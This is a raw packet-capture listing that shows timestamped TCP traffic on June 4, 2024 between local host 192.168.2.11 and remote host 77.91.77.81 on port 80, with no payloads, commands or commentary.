Jun 4, 2024 23:09:16.415076017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415088892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415096998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415101051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415117979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415119886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415129900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415141106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415143013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415153027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415164948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415167093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415175915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415177107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415189028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415204048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415208101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415210962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415216923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415222883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415225983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415227890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415230989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415239096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415244102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415256023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415266991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415277004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415292025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415293932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415306091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415316105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415318012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415330887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415335894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415342093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415352106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415352106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415361881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415374994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415374994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415385008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415385008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415395975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415405989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415412903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415426970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415433884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415433884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415445089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415451050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415457010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415466070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415473938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415477037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415488005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415499926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415501118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415510893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415517092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415523052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415534019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415534973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415544987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415549994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415556908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415568113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415570974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415585995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415592909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415601969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415610075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415613890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415623903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415631056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415636063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415646076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415648937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415657043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415668011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415672064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415683031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415689945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415693045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415704012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415707111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415714025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415728092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415728092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415744066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415751934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415756941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415766954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415770054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415777922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415787935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415795088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415798903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415810108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415816069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415821075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415832996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415832996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415843964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415851116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415853977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415863991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415872097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415874958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415889025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415895939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415904999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415913105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415916920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415926933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415935040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415937901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415949106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415952921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415961981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415972948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415975094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415983915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415987968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415996075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416006088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416014910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416016102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416027069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416035891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416043997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416054010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416059017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416069031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416076899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416079998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416090012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416101933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416101933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416111946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416120052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416122913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416134119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416141033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416145086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416156054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416166067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416167021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416177034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416186094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416188002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416199923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416202068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416218042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416218042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416229963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416239977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416243076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416250944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416261911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416270018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416273117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416284084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416289091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416295052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416300058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416306019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416316032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416327000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416332960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416351080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416352987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416361094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416369915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416372061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416383028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416388988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416393995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416404963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416407108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416415930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416424990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416431904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416435957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416445971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416450977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416455984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416466951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416469097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416476965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416488886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416498899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416507959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416508913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416521072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416531086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416532993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416548014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416558027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416559935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416578054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416598082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416703939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416719913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416731119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416742086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416754007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416758060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416765928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416775942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416779041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416788101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416790009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416800976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416811943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416815996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416824102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416836023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416841030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416847944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416855097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416858912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416871071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416878939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416887999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416899920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416904926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416912079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416924000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416925907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416934967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416946888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416951895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416959047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416970015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416976929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.416980982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416990995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.416996002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417004108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417006969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417023897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417032003 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417036057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417047977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417054892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417058945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417069912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417078018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417082071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417093039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417104006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417104006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417120934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417121887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417140007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417145967 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417154074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417164087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417171001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417176008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417186975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417191982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417198896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417212963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417217970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417224884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417229891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417237043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417248964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417249918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417259932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417272091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417277098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417284012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417295933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417300940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417306900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417311907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417320013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417330980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417339087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417362928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417376995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417444944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417462111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417474031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417481899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417485952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417498112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417499065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417510986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417510986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417521954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417525053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417540073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417541981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417552948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417562962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417567015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417579889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417589903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417601109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417613029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417619944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417630911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417634010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417642117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417653084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417659044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417664051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417675018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417682886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417687893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417699099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417699099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417711973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417721033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417721987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417733908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417745113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417746067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417758942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417762041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417777061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417778015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417789936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417799950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417800903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417812109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417815924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.417824030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.417835951 CEST	80	49713	77.91.77.81	192.168.2.11
